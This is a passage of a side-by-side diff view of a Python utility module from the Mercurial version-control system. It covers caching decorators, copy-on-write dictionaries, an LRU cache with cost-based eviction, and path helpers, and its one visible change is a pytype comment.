1189 if n == 2:
1189 if n == 2:
1190 return (vints[0], vints[1])
1190 return (vints[0], vints[1])
1191 if n == 3:
1191 if n == 3:
1192 return (vints[0], vints[1], vints[2])
1192 return (vints[0], vints[1], vints[2])
1193 if n == 4:
1193 if n == 4:
1194 return (vints[0], vints[1], vints[2], extra)
1194 return (vints[0], vints[1], vints[2], extra)
1195
1195
1196
1196
1197 def cachefunc(func):
1197 def cachefunc(func):
1198 '''cache the result of function calls'''
1198 '''cache the result of function calls'''
1199 # XXX doesn't handle keywords args
1199 # XXX doesn't handle keywords args
1200 if func.__code__.co_argcount == 0:
1200 if func.__code__.co_argcount == 0:
1201 cache = []
1201 cache = []
1202
1202
1203 def f():
1203 def f():
1204 if len(cache) == 0:
1204 if len(cache) == 0:
1205 cache.append(func())
1205 cache.append(func())
1206 return cache[0]
1206 return cache[0]
1207
1207
1208 return f
1208 return f
1209 cache = {}
1209 cache = {}
1210 if func.__code__.co_argcount == 1:
1210 if func.__code__.co_argcount == 1:
1211 # we gain a small amount of time because
1211 # we gain a small amount of time because
1212 # we don't need to pack/unpack the list
1212 # we don't need to pack/unpack the list
1213 def f(arg):
1213 def f(arg):
1214 if arg not in cache:
1214 if arg not in cache:
1215 cache[arg] = func(arg)
1215 cache[arg] = func(arg)
1216 return cache[arg]
1216 return cache[arg]
1217
1217
1218 else:
1218 else:
1219
1219
1220 def f(*args):
1220 def f(*args):
1221 if args not in cache:
1221 if args not in cache:
1222 cache[args] = func(*args)
1222 cache[args] = func(*args)
1223 return cache[args]
1223 return cache[args]
1224
1224
1225 return f
1225 return f
1226
1226
1227
1227
1228 class cow(object):
1228 class cow(object):
1229 """helper class to make copy-on-write easier
1229 """helper class to make copy-on-write easier
1230
1230
1231 Call preparewrite before doing any writes.
1231 Call preparewrite before doing any writes.
1232 """
1232 """
1233
1233
1234 def preparewrite(self):
1234 def preparewrite(self):
1235 """call this before writes, return self or a copied new object"""
1235 """call this before writes, return self or a copied new object"""
1236 if getattr(self, '_copied', 0):
1236 if getattr(self, '_copied', 0):
1237 self._copied -= 1
1237 self._copied -= 1
1238 return self.__class__(self)
1238 return self.__class__(self)
1239 return self
1239 return self
1240
1240
1241 def copy(self):
1241 def copy(self):
1242 """always do a cheap copy"""
1242 """always do a cheap copy"""
1243 self._copied = getattr(self, '_copied', 0) + 1
1243 self._copied = getattr(self, '_copied', 0) + 1
1244 return self
1244 return self
1245
1245
1246
1246
1247 class sortdict(collections.OrderedDict):
1247 class sortdict(collections.OrderedDict):
1248 '''a simple sorted dictionary
1248 '''a simple sorted dictionary
1249
1249
1250 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1250 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1251 >>> d2 = d1.copy()
1251 >>> d2 = d1.copy()
1252 >>> d2
1252 >>> d2
1253 sortdict([('a', 0), ('b', 1)])
1253 sortdict([('a', 0), ('b', 1)])
1254 >>> d2.update([(b'a', 2)])
1254 >>> d2.update([(b'a', 2)])
1255 >>> list(d2.keys()) # should still be in last-set order
1255 >>> list(d2.keys()) # should still be in last-set order
1256 ['b', 'a']
1256 ['b', 'a']
1257 '''
1257 '''
1258
1258
1259 def __setitem__(self, key, value):
1259 def __setitem__(self, key, value):
1260 if key in self:
1260 if key in self:
1261 del self[key]
1261 del self[key]
1262 super(sortdict, self).__setitem__(key, value)
1262 super(sortdict, self).__setitem__(key, value)
1263
1263
1264 if pycompat.ispypy:
1264 if pycompat.ispypy:
1265 # __setitem__() isn't called as of PyPy 5.8.0
1265 # __setitem__() isn't called as of PyPy 5.8.0
1266 def update(self, src):
1266 def update(self, src):
1267 if isinstance(src, dict):
1267 if isinstance(src, dict):
1268 src = pycompat.iteritems(src)
1268 src = pycompat.iteritems(src)
1269 for k, v in src:
1269 for k, v in src:
1270 self[k] = v
1270 self[k] = v
1271
1271
1272
1272
1273 class cowdict(cow, dict):
1273 class cowdict(cow, dict):
1274 """copy-on-write dict
1274 """copy-on-write dict
1275
1275
1276 Be sure to call d = d.preparewrite() before writing to d.
1276 Be sure to call d = d.preparewrite() before writing to d.
1277
1277
1278 >>> a = cowdict()
1278 >>> a = cowdict()
1279 >>> a is a.preparewrite()
1279 >>> a is a.preparewrite()
1280 True
1280 True
1281 >>> b = a.copy()
1281 >>> b = a.copy()
1282 >>> b is a
1282 >>> b is a
1283 True
1283 True
1284 >>> c = b.copy()
1284 >>> c = b.copy()
1285 >>> c is a
1285 >>> c is a
1286 True
1286 True
1287 >>> a = a.preparewrite()
1287 >>> a = a.preparewrite()
1288 >>> b is a
1288 >>> b is a
1289 False
1289 False
1290 >>> a is a.preparewrite()
1290 >>> a is a.preparewrite()
1291 True
1291 True
1292 >>> c = c.preparewrite()
1292 >>> c = c.preparewrite()
1293 >>> b is c
1293 >>> b is c
1294 False
1294 False
1295 >>> b is b.preparewrite()
1295 >>> b is b.preparewrite()
1296 True
1296 True
1297 """
1297 """
1298
1298
1299
1299
1300 class cowsortdict(cow, sortdict):
1300 class cowsortdict(cow, sortdict):
1301 """copy-on-write sortdict
1301 """copy-on-write sortdict
1302
1302
1303 Be sure to call d = d.preparewrite() before writing to d.
1303 Be sure to call d = d.preparewrite() before writing to d.
1304 """
1304 """
1305
1305
1306
1306
1307 class transactional(object):
1307 class transactional(object): # pytype: disable=ignored-metaclass
1308 """Base class for making a transactional type into a context manager."""
1308 """Base class for making a transactional type into a context manager."""
1309
1309
1310 __metaclass__ = abc.ABCMeta
1310 __metaclass__ = abc.ABCMeta
1311
1311
1312 @abc.abstractmethod
1312 @abc.abstractmethod
1313 def close(self):
1313 def close(self):
1314 """Successfully closes the transaction."""
1314 """Successfully closes the transaction."""
1315
1315
1316 @abc.abstractmethod
1316 @abc.abstractmethod
1317 def release(self):
1317 def release(self):
1318 """Marks the end of the transaction.
1318 """Marks the end of the transaction.
1319
1319
1320 If the transaction has not been closed, it will be aborted.
1320 If the transaction has not been closed, it will be aborted.
1321 """
1321 """
1322
1322
1323 def __enter__(self):
1323 def __enter__(self):
1324 return self
1324 return self
1325
1325
1326 def __exit__(self, exc_type, exc_val, exc_tb):
1326 def __exit__(self, exc_type, exc_val, exc_tb):
1327 try:
1327 try:
1328 if exc_type is None:
1328 if exc_type is None:
1329 self.close()
1329 self.close()
1330 finally:
1330 finally:
1331 self.release()
1331 self.release()
1332
1332
1333
1333
1334 @contextlib.contextmanager
1334 @contextlib.contextmanager
1335 def acceptintervention(tr=None):
1335 def acceptintervention(tr=None):
1336 """A context manager that closes the transaction on InterventionRequired
1336 """A context manager that closes the transaction on InterventionRequired
1337
1337
1338 If no transaction was provided, this simply runs the body and returns
1338 If no transaction was provided, this simply runs the body and returns
1339 """
1339 """
1340 if not tr:
1340 if not tr:
1341 yield
1341 yield
1342 return
1342 return
1343 try:
1343 try:
1344 yield
1344 yield
1345 tr.close()
1345 tr.close()
1346 except error.InterventionRequired:
1346 except error.InterventionRequired:
1347 tr.close()
1347 tr.close()
1348 raise
1348 raise
1349 finally:
1349 finally:
1350 tr.release()
1350 tr.release()
1351
1351
1352
1352
1353 @contextlib.contextmanager
1353 @contextlib.contextmanager
1354 def nullcontextmanager():
1354 def nullcontextmanager():
1355 yield
1355 yield
1356
1356
1357
1357
1358 class _lrucachenode(object):
1358 class _lrucachenode(object):
1359 """A node in a doubly linked list.
1359 """A node in a doubly linked list.
1360
1360
1361 Holds a reference to nodes on either side as well as a key-value
1361 Holds a reference to nodes on either side as well as a key-value
1362 pair for the dictionary entry.
1362 pair for the dictionary entry.
1363 """
1363 """
1364
1364
1365 __slots__ = (r'next', r'prev', r'key', r'value', r'cost')
1365 __slots__ = (r'next', r'prev', r'key', r'value', r'cost')
1366
1366
1367 def __init__(self):
1367 def __init__(self):
1368 self.next = None
1368 self.next = None
1369 self.prev = None
1369 self.prev = None
1370
1370
1371 self.key = _notset
1371 self.key = _notset
1372 self.value = None
1372 self.value = None
1373 self.cost = 0
1373 self.cost = 0
1374
1374
1375 def markempty(self):
1375 def markempty(self):
1376 """Mark the node as emptied."""
1376 """Mark the node as emptied."""
1377 self.key = _notset
1377 self.key = _notset
1378 self.value = None
1378 self.value = None
1379 self.cost = 0
1379 self.cost = 0
1380
1380
1381
1381
1382 class lrucachedict(object):
1382 class lrucachedict(object):
1383 """Dict that caches most recent accesses and sets.
1383 """Dict that caches most recent accesses and sets.
1384
1384
1385 The dict consists of an actual backing dict - indexed by original
1385 The dict consists of an actual backing dict - indexed by original
1386 key - and a doubly linked circular list defining the order of entries in
1386 key - and a doubly linked circular list defining the order of entries in
1387 the cache.
1387 the cache.
1388
1388
1389 The head node is the newest entry in the cache. If the cache is full,
1389 The head node is the newest entry in the cache. If the cache is full,
1390 we recycle head.prev and make it the new head. Cache accesses result in
1390 we recycle head.prev and make it the new head. Cache accesses result in
1391 the node being moved to before the existing head and being marked as the
1391 the node being moved to before the existing head and being marked as the
1392 new head node.
1392 new head node.
1393
1393
1394 Items in the cache can be inserted with an optional "cost" value. This is
1394 Items in the cache can be inserted with an optional "cost" value. This is
1395 simply an integer that is specified by the caller. The cache can be queried
1395 simply an integer that is specified by the caller. The cache can be queried
1396 for the total cost of all items presently in the cache.
1396 for the total cost of all items presently in the cache.
1397
1397
1398 The cache can also define a maximum cost. If a cache insertion would
1398 The cache can also define a maximum cost. If a cache insertion would
1399 cause the total cost of the cache to go beyond the maximum cost limit,
1399 cause the total cost of the cache to go beyond the maximum cost limit,
1400 nodes will be evicted to make room for the new code. This can be used
1400 nodes will be evicted to make room for the new code. This can be used
1401 to e.g. set a max memory limit and associate an estimated bytes size
1401 to e.g. set a max memory limit and associate an estimated bytes size
1402 cost to each item in the cache. By default, no maximum cost is enforced.
1402 cost to each item in the cache. By default, no maximum cost is enforced.
1403 """
1403 """
1404
1404
1405 def __init__(self, max, maxcost=0):
1405 def __init__(self, max, maxcost=0):
1406 self._cache = {}
1406 self._cache = {}
1407
1407
1408 self._head = head = _lrucachenode()
1408 self._head = head = _lrucachenode()
1409 head.prev = head
1409 head.prev = head
1410 head.next = head
1410 head.next = head
1411 self._size = 1
1411 self._size = 1
1412 self.capacity = max
1412 self.capacity = max
1413 self.totalcost = 0
1413 self.totalcost = 0
1414 self.maxcost = maxcost
1414 self.maxcost = maxcost
1415
1415
1416 def __len__(self):
1416 def __len__(self):
1417 return len(self._cache)
1417 return len(self._cache)
1418
1418
1419 def __contains__(self, k):
1419 def __contains__(self, k):
1420 return k in self._cache
1420 return k in self._cache
1421
1421
1422 def __iter__(self):
1422 def __iter__(self):
1423 # We don't have to iterate in cache order, but why not.
1423 # We don't have to iterate in cache order, but why not.
1424 n = self._head
1424 n = self._head
1425 for i in range(len(self._cache)):
1425 for i in range(len(self._cache)):
1426 yield n.key
1426 yield n.key
1427 n = n.next
1427 n = n.next
1428
1428
1429 def __getitem__(self, k):
1429 def __getitem__(self, k):
1430 node = self._cache[k]
1430 node = self._cache[k]
1431 self._movetohead(node)
1431 self._movetohead(node)
1432 return node.value
1432 return node.value
1433
1433
1434 def insert(self, k, v, cost=0):
1434 def insert(self, k, v, cost=0):
1435 """Insert a new item in the cache with optional cost value."""
1435 """Insert a new item in the cache with optional cost value."""
1436 node = self._cache.get(k)
1436 node = self._cache.get(k)
1437 # Replace existing value and mark as newest.
1437 # Replace existing value and mark as newest.
1438 if node is not None:
1438 if node is not None:
1439 self.totalcost -= node.cost
1439 self.totalcost -= node.cost
1440 node.value = v
1440 node.value = v
1441 node.cost = cost
1441 node.cost = cost
1442 self.totalcost += cost
1442 self.totalcost += cost
1443 self._movetohead(node)
1443 self._movetohead(node)
1444
1444
1445 if self.maxcost:
1445 if self.maxcost:
1446 self._enforcecostlimit()
1446 self._enforcecostlimit()
1447
1447
1448 return
1448 return
1449
1449
1450 if self._size < self.capacity:
1450 if self._size < self.capacity:
1451 node = self._addcapacity()
1451 node = self._addcapacity()
1452 else:
1452 else:
1453 # Grab the last/oldest item.
1453 # Grab the last/oldest item.
1454 node = self._head.prev
1454 node = self._head.prev
1455
1455
1456 # At capacity. Kill the old entry.
1456 # At capacity. Kill the old entry.
1457 if node.key is not _notset:
1457 if node.key is not _notset:
1458 self.totalcost -= node.cost
1458 self.totalcost -= node.cost
1459 del self._cache[node.key]
1459 del self._cache[node.key]
1460
1460
1461 node.key = k
1461 node.key = k
1462 node.value = v
1462 node.value = v
1463 node.cost = cost
1463 node.cost = cost
1464 self.totalcost += cost
1464 self.totalcost += cost
1465 self._cache[k] = node
1465 self._cache[k] = node
1466 # And mark it as newest entry. No need to adjust order since it
1466 # And mark it as newest entry. No need to adjust order since it
1467 # is already self._head.prev.
1467 # is already self._head.prev.
1468 self._head = node
1468 self._head = node
1469
1469
1470 if self.maxcost:
1470 if self.maxcost:
1471 self._enforcecostlimit()
1471 self._enforcecostlimit()
1472
1472
1473 def __setitem__(self, k, v):
1473 def __setitem__(self, k, v):
1474 self.insert(k, v)
1474 self.insert(k, v)
1475
1475
1476 def __delitem__(self, k):
1476 def __delitem__(self, k):
1477 self.pop(k)
1477 self.pop(k)
1478
1478
1479 def pop(self, k, default=_notset):
1479 def pop(self, k, default=_notset):
1480 try:
1480 try:
1481 node = self._cache.pop(k)
1481 node = self._cache.pop(k)
1482 except KeyError:
1482 except KeyError:
1483 if default is _notset:
1483 if default is _notset:
1484 raise
1484 raise
1485 return default
1485 return default
1486 value = node.value
1486 value = node.value
1487 self.totalcost -= node.cost
1487 self.totalcost -= node.cost
1488 node.markempty()
1488 node.markempty()
1489
1489
1490 # Temporarily mark as newest item before re-adjusting head to make
1490 # Temporarily mark as newest item before re-adjusting head to make
1491 # this node the oldest item.
1491 # this node the oldest item.
1492 self._movetohead(node)
1492 self._movetohead(node)
1493 self._head = node.next
1493 self._head = node.next
1494
1494
1495 return value
1495 return value
1496
1496
1497 # Additional dict methods.
1497 # Additional dict methods.
1498
1498
1499 def get(self, k, default=None):
1499 def get(self, k, default=None):
1500 try:
1500 try:
1501 return self.__getitem__(k)
1501 return self.__getitem__(k)
1502 except KeyError:
1502 except KeyError:
1503 return default
1503 return default
1504
1504
1505 def peek(self, k, default=_notset):
1505 def peek(self, k, default=_notset):
1506 """Get the specified item without moving it to the head
1506 """Get the specified item without moving it to the head
1507
1507
1508 Unlike get(), this doesn't mutate the internal state. But be aware
1508 Unlike get(), this doesn't mutate the internal state. But be aware
1509 that it doesn't mean peek() is thread safe.
1509 that it doesn't mean peek() is thread safe.
1510 """
1510 """
1511 try:
1511 try:
1512 node = self._cache[k]
1512 node = self._cache[k]
1513 return node.value
1513 return node.value
1514 except KeyError:
1514 except KeyError:
1515 if default is _notset:
1515 if default is _notset:
1516 raise
1516 raise
1517 return default
1517 return default
1518
1518
1519 def clear(self):
1519 def clear(self):
1520 n = self._head
1520 n = self._head
1521 while n.key is not _notset:
1521 while n.key is not _notset:
1522 self.totalcost -= n.cost
1522 self.totalcost -= n.cost
1523 n.markempty()
1523 n.markempty()
1524 n = n.next
1524 n = n.next
1525
1525
1526 self._cache.clear()
1526 self._cache.clear()
1527
1527
1528 def copy(self, capacity=None, maxcost=0):
1528 def copy(self, capacity=None, maxcost=0):
1529 """Create a new cache as a copy of the current one.
1529 """Create a new cache as a copy of the current one.
1530
1530
1531 By default, the new cache has the same capacity as the existing one.
1531 By default, the new cache has the same capacity as the existing one.
1532 But, the cache capacity can be changed as part of performing the
1532 But, the cache capacity can be changed as part of performing the
1533 copy.
1533 copy.
1534
1534
1535 Items in the copy have an insertion/access order matching this
1535 Items in the copy have an insertion/access order matching this
1536 instance.
1536 instance.
1537 """
1537 """
1538
1538
1539 capacity = capacity or self.capacity
1539 capacity = capacity or self.capacity
1540 maxcost = maxcost or self.maxcost
1540 maxcost = maxcost or self.maxcost
1541 result = lrucachedict(capacity, maxcost=maxcost)
1541 result = lrucachedict(capacity, maxcost=maxcost)
1542
1542
1543 # We copy entries by iterating in oldest-to-newest order so the copy
1543 # We copy entries by iterating in oldest-to-newest order so the copy
1544 # has the correct ordering.
1544 # has the correct ordering.
1545
1545
1546 # Find the first non-empty entry.
1546 # Find the first non-empty entry.
1547 n = self._head.prev
1547 n = self._head.prev
1548 while n.key is _notset and n is not self._head:
1548 while n.key is _notset and n is not self._head:
1549 n = n.prev
1549 n = n.prev
1550
1550
1551 # We could potentially skip the first N items when decreasing capacity.
1551 # We could potentially skip the first N items when decreasing capacity.
1552 # But let's keep it simple unless it is a performance problem.
1552 # But let's keep it simple unless it is a performance problem.
1553 for i in range(len(self._cache)):
1553 for i in range(len(self._cache)):
1554 result.insert(n.key, n.value, cost=n.cost)
1554 result.insert(n.key, n.value, cost=n.cost)
1555 n = n.prev
1555 n = n.prev
1556
1556
1557 return result
1557 return result
1558
1558
1559 def popoldest(self):
1559 def popoldest(self):
1560 """Remove the oldest item from the cache.
1560 """Remove the oldest item from the cache.
1561
1561
1562 Returns the (key, value) describing the removed cache entry.
1562 Returns the (key, value) describing the removed cache entry.
1563 """
1563 """
1564 if not self._cache:
1564 if not self._cache:
1565 return
1565 return
1566
1566
1567 # Walk the linked list backwards starting at tail node until we hit
1567 # Walk the linked list backwards starting at tail node until we hit
1568 # a non-empty node.
1568 # a non-empty node.
1569 n = self._head.prev
1569 n = self._head.prev
1570 while n.key is _notset:
1570 while n.key is _notset:
1571 n = n.prev
1571 n = n.prev
1572
1572
1573 key, value = n.key, n.value
1573 key, value = n.key, n.value
1574
1574
1575 # And remove it from the cache and mark it as empty.
1575 # And remove it from the cache and mark it as empty.
1576 del self._cache[n.key]
1576 del self._cache[n.key]
1577 self.totalcost -= n.cost
1577 self.totalcost -= n.cost
1578 n.markempty()
1578 n.markempty()
1579
1579
1580 return key, value
1580 return key, value
1581
1581
1582 def _movetohead(self, node):
1582 def _movetohead(self, node):
1583 """Mark a node as the newest, making it the new head.
1583 """Mark a node as the newest, making it the new head.
1584
1584
1585 When a node is accessed, it becomes the freshest entry in the LRU
1585 When a node is accessed, it becomes the freshest entry in the LRU
1586 list, which is denoted by self._head.
1586 list, which is denoted by self._head.
1587
1587
1588 Visually, let's make ``N`` the new head node (* denotes head):
1588 Visually, let's make ``N`` the new head node (* denotes head):
1589
1589
1590 previous/oldest <-> head <-> next/next newest
1590 previous/oldest <-> head <-> next/next newest
1591
1591
1592 ----<->--- A* ---<->-----
1592 ----<->--- A* ---<->-----
1593 | |
1593 | |
1594 E <-> D <-> N <-> C <-> B
1594 E <-> D <-> N <-> C <-> B
1595
1595
1596 To:
1596 To:
1597
1597
1598 ----<->--- N* ---<->-----
1598 ----<->--- N* ---<->-----
1599 | |
1599 | |
1600 E <-> D <-> C <-> B <-> A
1600 E <-> D <-> C <-> B <-> A
1601
1601
1602 This requires the following moves:
1602 This requires the following moves:
1603
1603
1604 C.next = D (node.prev.next = node.next)
1604 C.next = D (node.prev.next = node.next)
1605 D.prev = C (node.next.prev = node.prev)
1605 D.prev = C (node.next.prev = node.prev)
1606 E.next = N (head.prev.next = node)
1606 E.next = N (head.prev.next = node)
1607 N.prev = E (node.prev = head.prev)
1607 N.prev = E (node.prev = head.prev)
1608 N.next = A (node.next = head)
1608 N.next = A (node.next = head)
1609 A.prev = N (head.prev = node)
1609 A.prev = N (head.prev = node)
1610 """
1610 """
1611 head = self._head
1611 head = self._head
1612 # C.next = D
1612 # C.next = D
1613 node.prev.next = node.next
1613 node.prev.next = node.next
1614 # D.prev = C
1614 # D.prev = C
1615 node.next.prev = node.prev
1615 node.next.prev = node.prev
1616 # N.prev = E
1616 # N.prev = E
1617 node.prev = head.prev
1617 node.prev = head.prev
1618 # N.next = A
1618 # N.next = A
1619 # It is tempting to do just "head" here, however if node is
1619 # It is tempting to do just "head" here, however if node is
1620 # adjacent to head, this will do bad things.
1620 # adjacent to head, this will do bad things.
1621 node.next = head.prev.next
1621 node.next = head.prev.next
1622 # E.next = N
1622 # E.next = N
1623 node.next.prev = node
1623 node.next.prev = node
1624 # A.prev = N
1624 # A.prev = N
1625 node.prev.next = node
1625 node.prev.next = node
1626
1626
1627 self._head = node
1627 self._head = node
1628
1628
1629 def _addcapacity(self):
1629 def _addcapacity(self):
1630 """Add a node to the circular linked list.
1630 """Add a node to the circular linked list.
1631
1631
1632 The new node is inserted before the head node.
1632 The new node is inserted before the head node.
1633 """
1633 """
1634 head = self._head
1634 head = self._head
1635 node = _lrucachenode()
1635 node = _lrucachenode()
1636 head.prev.next = node
1636 head.prev.next = node
1637 node.prev = head.prev
1637 node.prev = head.prev
1638 node.next = head
1638 node.next = head
1639 head.prev = node
1639 head.prev = node
1640 self._size += 1
1640 self._size += 1
1641 return node
1641 return node
1642
1642
1643 def _enforcecostlimit(self):
1643 def _enforcecostlimit(self):
1644 # This should run after an insertion. It should only be called if total
1644 # This should run after an insertion. It should only be called if total
1645 # cost limits are being enforced.
1645 # cost limits are being enforced.
1646 # The most recently inserted node is never evicted.
1646 # The most recently inserted node is never evicted.
1647 if len(self) <= 1 or self.totalcost <= self.maxcost:
1647 if len(self) <= 1 or self.totalcost <= self.maxcost:
1648 return
1648 return
1649
1649
1650 # This is logically equivalent to calling popoldest() until we
1650 # This is logically equivalent to calling popoldest() until we
1651 # free up enough cost. We don't do that since popoldest() needs
1651 # free up enough cost. We don't do that since popoldest() needs
1652 # to walk the linked list and doing this in a loop would be
1652 # to walk the linked list and doing this in a loop would be
1653 # quadratic. So we find the first non-empty node and then
1653 # quadratic. So we find the first non-empty node and then
1654 # walk nodes until we free up enough capacity.
1654 # walk nodes until we free up enough capacity.
1655 #
1655 #
1656 # If we only removed the minimum number of nodes to free enough
1656 # If we only removed the minimum number of nodes to free enough
1657 # cost at insert time, chances are high that the next insert would
1657 # cost at insert time, chances are high that the next insert would
1658 # also require pruning. This would effectively constitute quadratic
1658 # also require pruning. This would effectively constitute quadratic
1659 # behavior for insert-heavy workloads. To mitigate this, we set a
1659 # behavior for insert-heavy workloads. To mitigate this, we set a
1660 # target cost that is a percentage of the max cost. This will tend
1660 # target cost that is a percentage of the max cost. This will tend
1661 # to free more nodes when the high water mark is reached, which
1661 # to free more nodes when the high water mark is reached, which
1662 # lowers the chances of needing to prune on the subsequent insert.
1662 # lowers the chances of needing to prune on the subsequent insert.
1663 targetcost = int(self.maxcost * 0.75)
1663 targetcost = int(self.maxcost * 0.75)
1664
1664
1665 n = self._head.prev
1665 n = self._head.prev
1666 while n.key is _notset:
1666 while n.key is _notset:
1667 n = n.prev
1667 n = n.prev
1668
1668
1669 while len(self) > 1 and self.totalcost > targetcost:
1669 while len(self) > 1 and self.totalcost > targetcost:
1670 del self._cache[n.key]
1670 del self._cache[n.key]
1671 self.totalcost -= n.cost
1671 self.totalcost -= n.cost
1672 n.markempty()
1672 n.markempty()
1673 n = n.prev
1673 n = n.prev
1674
1674
1675
1675
1676 def lrucachefunc(func):
1676 def lrucachefunc(func):
1677 '''cache most recent results of function calls'''
1677 '''cache most recent results of function calls'''
1678 cache = {}
1678 cache = {}
1679 order = collections.deque()
1679 order = collections.deque()
1680 if func.__code__.co_argcount == 1:
1680 if func.__code__.co_argcount == 1:
1681
1681
1682 def f(arg):
1682 def f(arg):
1683 if arg not in cache:
1683 if arg not in cache:
1684 if len(cache) > 20:
1684 if len(cache) > 20:
1685 del cache[order.popleft()]
1685 del cache[order.popleft()]
1686 cache[arg] = func(arg)
1686 cache[arg] = func(arg)
1687 else:
1687 else:
1688 order.remove(arg)
1688 order.remove(arg)
1689 order.append(arg)
1689 order.append(arg)
1690 return cache[arg]
1690 return cache[arg]
1691
1691
1692 else:
1692 else:
1693
1693
1694 def f(*args):
1694 def f(*args):
1695 if args not in cache:
1695 if args not in cache:
1696 if len(cache) > 20:
1696 if len(cache) > 20:
1697 del cache[order.popleft()]
1697 del cache[order.popleft()]
1698 cache[args] = func(*args)
1698 cache[args] = func(*args)
1699 else:
1699 else:
1700 order.remove(args)
1700 order.remove(args)
1701 order.append(args)
1701 order.append(args)
1702 return cache[args]
1702 return cache[args]
1703
1703
1704 return f
1704 return f
1705
1705
1706
1706
1707 class propertycache(object):
1707 class propertycache(object):
1708 def __init__(self, func):
1708 def __init__(self, func):
1709 self.func = func
1709 self.func = func
1710 self.name = func.__name__
1710 self.name = func.__name__
1711
1711
1712 def __get__(self, obj, type=None):
1712 def __get__(self, obj, type=None):
1713 result = self.func(obj)
1713 result = self.func(obj)
1714 self.cachevalue(obj, result)
1714 self.cachevalue(obj, result)
1715 return result
1715 return result
1716
1716
1717 def cachevalue(self, obj, value):
1717 def cachevalue(self, obj, value):
1718 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1718 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1719 obj.__dict__[self.name] = value
1719 obj.__dict__[self.name] = value
1720
1720
1721
1721
1722 def clearcachedproperty(obj, prop):
1722 def clearcachedproperty(obj, prop):
1723 '''clear a cached property value, if one has been set'''
1723 '''clear a cached property value, if one has been set'''
1724 prop = pycompat.sysstr(prop)
1724 prop = pycompat.sysstr(prop)
1725 if prop in obj.__dict__:
1725 if prop in obj.__dict__:
1726 del obj.__dict__[prop]
1726 del obj.__dict__[prop]
1727
1727
1728
1728
1729 def increasingchunks(source, min=1024, max=65536):
1729 def increasingchunks(source, min=1024, max=65536):
1730 '''return no less than min bytes per chunk while data remains,
1730 '''return no less than min bytes per chunk while data remains,
1731 doubling min after each chunk until it reaches max'''
1731 doubling min after each chunk until it reaches max'''
1732
1732
1733 def log2(x):
1733 def log2(x):
1734 if not x:
1734 if not x:
1735 return 0
1735 return 0
1736 i = 0
1736 i = 0
1737 while x:
1737 while x:
1738 x >>= 1
1738 x >>= 1
1739 i += 1
1739 i += 1
1740 return i - 1
1740 return i - 1
1741
1741
1742 buf = []
1742 buf = []
1743 blen = 0
1743 blen = 0
1744 for chunk in source:
1744 for chunk in source:
1745 buf.append(chunk)
1745 buf.append(chunk)
1746 blen += len(chunk)
1746 blen += len(chunk)
1747 if blen >= min:
1747 if blen >= min:
1748 if min < max:
1748 if min < max:
1749 min = min << 1
1749 min = min << 1
1750 nmin = 1 << log2(blen)
1750 nmin = 1 << log2(blen)
1751 if nmin > min:
1751 if nmin > min:
1752 min = nmin
1752 min = nmin
1753 if min > max:
1753 if min > max:
1754 min = max
1754 min = max
1755 yield b''.join(buf)
1755 yield b''.join(buf)
1756 blen = 0
1756 blen = 0
1757 buf = []
1757 buf = []
1758 if buf:
1758 if buf:
1759 yield b''.join(buf)
1759 yield b''.join(buf)
1760
1760
1761
1761
1762 def always(fn):
1762 def always(fn):
1763 return True
1763 return True
1764
1764
1765
1765
1766 def never(fn):
1766 def never(fn):
1767 return False
1767 return False
1768
1768
1769
1769
1770 def nogc(func):
1770 def nogc(func):
1771 """disable garbage collector
1771 """disable garbage collector
1772
1772
1773 Python's garbage collector triggers a GC each time a certain number of
1773 Python's garbage collector triggers a GC each time a certain number of
1774 container objects (the number being defined by gc.get_threshold()) are
1774 container objects (the number being defined by gc.get_threshold()) are
1775 allocated even when marked not to be tracked by the collector. Tracking has
1775 allocated even when marked not to be tracked by the collector. Tracking has
1776 no effect on when GCs are triggered, only on what objects the GC looks
1776 no effect on when GCs are triggered, only on what objects the GC looks
1777 into. As a workaround, disable GC while building complex (huge)
1777 into. As a workaround, disable GC while building complex (huge)
1778 containers.
1778 containers.
1779
1779
1780 This garbage collector issue have been fixed in 2.7. But it still affect
1780 This garbage collector issue have been fixed in 2.7. But it still affect
1781 CPython's performance.
1781 CPython's performance.
1782 """
1782 """
1783
1783
1784 def wrapper(*args, **kwargs):
1784 def wrapper(*args, **kwargs):
1785 gcenabled = gc.isenabled()
1785 gcenabled = gc.isenabled()
1786 gc.disable()
1786 gc.disable()
1787 try:
1787 try:
1788 return func(*args, **kwargs)
1788 return func(*args, **kwargs)
1789 finally:
1789 finally:
1790 if gcenabled:
1790 if gcenabled:
1791 gc.enable()
1791 gc.enable()
1792
1792
1793 return wrapper
1793 return wrapper
1794
1794
1795
1795
1796 if pycompat.ispypy:
1796 if pycompat.ispypy:
1797 # PyPy runs slower with gc disabled
1797 # PyPy runs slower with gc disabled
1798 nogc = lambda x: x
1798 nogc = lambda x: x
1799
1799
1800
1800
1801 def pathto(root, n1, n2):
1801 def pathto(root, n1, n2):
1802 '''return the relative path from one place to another.
1802 '''return the relative path from one place to another.
1803 root should use os.sep to separate directories
1803 root should use os.sep to separate directories
1804 n1 should use os.sep to separate directories
1804 n1 should use os.sep to separate directories
1805 n2 should use "/" to separate directories
1805 n2 should use "/" to separate directories
1806 returns an os.sep-separated path.
1806 returns an os.sep-separated path.
1807
1807
1808 If n1 is a relative path, it's assumed it's
1808 If n1 is a relative path, it's assumed it's
1809 relative to root.
1809 relative to root.
1810 n2 should always be relative to root.
1810 n2 should always be relative to root.
1811 '''
1811 '''
1812 if not n1:
1812 if not n1:
1813 return localpath(n2)
1813 return localpath(n2)
1814 if os.path.isabs(n1):
1814 if os.path.isabs(n1):
1815 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1815 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1816 return os.path.join(root, localpath(n2))
1816 return os.path.join(root, localpath(n2))
1817 n2 = b'/'.join((pconvert(root), n2))
1817 n2 = b'/'.join((pconvert(root), n2))
1818 a, b = splitpath(n1), n2.split(b'/')
1818 a, b = splitpath(n1), n2.split(b'/')
1819 a.reverse()
1819 a.reverse()
1820 b.reverse()
1820 b.reverse()
1821 while a and b and a[-1] == b[-1]:
1821 while a and b and a[-1] == b[-1]:
1822 a.pop()
1822 a.pop()
1823 b.pop()
1823 b.pop()
1824 b.reverse()
1824 b.reverse()
1825 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1825 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1826
